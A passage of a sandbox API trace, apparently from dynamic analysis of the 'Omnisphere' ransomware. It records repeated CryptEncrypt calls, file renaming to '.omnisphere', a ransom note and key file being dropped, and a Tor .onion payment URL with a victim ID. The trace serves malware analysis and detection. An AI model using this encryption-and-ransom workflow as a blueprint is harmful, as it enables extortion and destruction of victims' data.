pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.232] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.232] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.232] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.232] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.232] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.233] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.233] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.233] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.233] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.233] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.233] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.233] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.233] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.233] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.233] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.233] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.233] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.233] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.233] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.233] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.233] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.234] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.234] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.234] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.234] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.234] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.234] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.234] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.234] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.234] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.234] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.234] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.234] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.234] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.234] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.234] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.234] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.234] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.234] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.234] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.234] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.234] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.237] CryptDestroyKey (hKey=0x1639b68) returned 1 [0063.237] CryptReleaseContext (hProv=0x163bec0, dwFlags=0x0) returned 1 [0063.238] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x16694, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0063.238] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e6c8, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e6c8*=0x524, lpOverlapped=0x0) returned 1 [0063.238] GetProcessHeap () returned 0x1600000 [0063.238] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x284) returned 0x164d4c0 [0063.238] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\hHGe8VXor0p6BX.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\hhge8vxor0p6bx.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\hHGe8VXor0p6BX.m4a.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\hhge8vxor0p6bx.m4a.omnisphere")) returned 1 [0063.239] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\hHGe8VXor0p6BX.m4a.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\hHGe8VXor0p6BX.m4a.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\hHGe8VXor0p6BX.m4a.omnisphere.id" [0063.239] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\hHGe8VXor0p6BX.m4a.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\hhge8vxor0p6bx.m4a.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0063.239] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e150, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e150*=0x524, lpOverlapped=0x0) returned 1 [0063.240] CloseHandle (hObject=0x3a8) returned 1 [0063.241] UnmapViewOfFile (lpBaseAddress=0x3450000) returned 1 [0063.243] CloseHandle (hObject=0x3a4) returned 1 [0063.243] SetEndOfFile (hFile=0x3a0) returned 1 [0063.243] FlushFileBuffers (hFile=0x3a0) returned 1 [0063.249] CloseHandle (hObject=0x3a0) returned 1 [0063.249] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\hHGe8VXor0p6BX.m4a" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0063.249] GetProcessHeap () returned 0x1600000 [0063.249] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x164df78 [0063.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0063.249] GetProcessHeap () returned 0x1600000 [0063.249] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16419f8 [0063.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16419f8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0063.249] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0063.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0063.249] GetProcessHeap () returned 0x1600000 [0063.249] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f850 [0063.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f850, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0063.249] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0063.249] GetProcessHeap () returned 0x1600000 [0063.249] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x163c300 [0063.249] PathCombineW (in: pszDest=0x163c300, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" [0063.249] GetProcessHeap () returned 0x1600000 [0063.250] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1657660 [0063.250] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.250] WriteFile (in: hFile=0x3a0, lpBuffer=0x1657660*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0e6e8, lpOverlapped=0x0 | out: lpBuffer=0x1657660*, lpNumberOfBytesWritten=0x3e0e6e8*=0x588, lpOverlapped=0x0) returned 1 [0063.250] CloseHandle (hObject=0x3a0) returned 1 [0063.250] GetProcessHeap () returned 0x1600000 [0063.250] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x164df78 | out: hHeap=0x1600000) returned 1 [0063.250] GetProcessHeap () returned 0x1600000 [0063.250] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163f300 [0063.250] PathCombineW (in: pszDest=0x163f300, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" [0063.250] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.250] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0e6fc, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0e6fc*=0x5a0, lpOverlapped=0x0) returned 1 [0063.250] CloseHandle (hObject=0x3a0) returned 1 [0063.251] GetProcessHeap () returned 0x1600000 [0063.251] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f300 | out: hHeap=0x1600000) returned 1 [0063.251] GetProcessHeap () returned 0x1600000 [0063.251] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163fe00 | out: hHeap=0x1600000) returned 1 [0063.251] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38bd8c50, ftCreationTime.dwHighDateTime=0x1d4c7a3, ftLastAccessTime.dwLowDateTime=0xa1d2acf0, ftLastAccessTime.dwHighDateTime=0x1d4c804, ftLastWriteTime.dwLowDateTime=0xa1d2acf0, ftLastWriteTime.dwHighDateTime=0x1d4c804, nFileSizeHigh=0x0, nFileSizeLow=0x20b8, dwReserved0=0x0, dwReserved1=0xed, cFileName="hp5HOWNcI9SrI.xlsx", cAlternateFileName="HP5HOW~1.XLS")) returned 1 [0063.251] GetProcessHeap () returned 0x1600000 [0063.251] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163f800 [0063.251] PathCombineW (in: pszDest=0x163f800, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="hp5HOWNcI9SrI.xlsx" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\hp5HOWNcI9SrI.xlsx") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\hp5HOWNcI9SrI.xlsx" [0063.251] StrStrW (lpFirst=".omnisphere", lpSrch=".xlsx") returned 0x0 [0063.251] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\hp5HOWNcI9SrI.xlsx" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\hp5hownci9sri.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.251] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0e6c0 | out: lpFileSize=0x3e0e6c0*=8376) returned 1 [0063.251] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x1b94, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0063.251] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e0e168, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0e6b0, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesRead=0x3e0e6b0*=0x524, lpOverlapped=0x0) returned 1 [0063.251] GetTickCount () returned 0x1150200 [0063.251] GetTickCount () returned 0x1150200 [0063.251] GetTickCount () returned 0x1150200 [0063.251] GetTickCount () returned 0x1150200 [0063.251] GetTickCount () returned 0x1150200 [0063.251] GetTickCount () returned 0x1150200 [0063.252] GetTickCount () returned 0x1150200 [0063.252] GetTickCount () returned 0x1150200 [0063.252] GetTickCount () returned 0x1150200 [0063.252] GetTickCount () returned 0x1150200 [0063.252] GetTickCount () returned 0x1150200 [0063.252] GetTickCount () returned 0x1150200 [0063.252] GetTickCount () returned 0x1150200 [0063.252] GetTickCount () returned 0x1150200 [0063.252] GetTickCount () returned 0x1150200 [0063.252] GetTickCount () returned 0x1150200 [0063.252] GetTickCount () returned 0x1150200 [0063.252] GetTickCount () returned 0x1150200 [0063.252] GetTickCount () returned 0x1150200 [0063.252] GetTickCount () returned 0x1150200 [0063.252] GetTickCount () returned 0x1150200 [0063.252] GetTickCount () returned 0x1150200 [0063.253] GetTickCount () returned 0x1150210 [0063.253] GetTickCount () returned 0x1150210 [0063.253] GetTickCount () returned 0x1150210 [0063.253] GetTickCount () returned 0x1150210 [0063.253] GetTickCount () returned 0x1150210 [0063.254] GetTickCount () returned 0x1150210 [0063.254] GetTickCount () returned 0x1150210 [0063.254] GetTickCount () returned 0x1150210 [0063.254] GetTickCount () returned 0x1150210 [0063.254] GetTickCount () returned 0x1150210 [0063.254] CryptAcquireContextW (in: phProv=0x3e0e148, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e148*=0x163bdb0) returned 1 [0063.254] CryptImportKey (in: hProv=0x163bdb0, pbData=0x3e0e0b0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e154 | out: phKey=0x3e0e154*=0x16396e8) returned 1 [0063.254] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x75, dwBufLen=0x80 | out: pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x80) returned 1 [0063.255] CryptDestroyKey (hKey=0x16396e8) returned 1 [0063.255] CryptReleaseContext (hProv=0x163bdb0, dwFlags=0x0) returned 1 [0063.255] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x20b8, lpName=0x0) returned 0x3a4 [0063.255] MapViewOfFile (hFileMappingObject=0x3a4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x20b8) returned 0x3430000 [0063.255] CryptAcquireContextW (in: phProv=0x3e0e138, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e138*=0x163b9f8) returned 1 [0063.255] CryptImportKey (in: hProv=0x163b9f8, pbData=0x3e0e0f0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e148 | out: phKey=0x3e0e148*=0x1639868) returned 1 [0063.255] CryptSetKeyParam (hKey=0x1639868, dwParam=0x4, pbData=0x3e0e12c*=0x2, dwFlags=0x0) returned 1 [0063.255] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e134*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e134*=0x10) returned 1 [0063.256] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.256] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.256] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.256] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.256] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.256] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.256] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.256] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.256] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.256] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.256] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.256] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.256] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.256] CryptEncrypt (in: hKey=0x1639868, 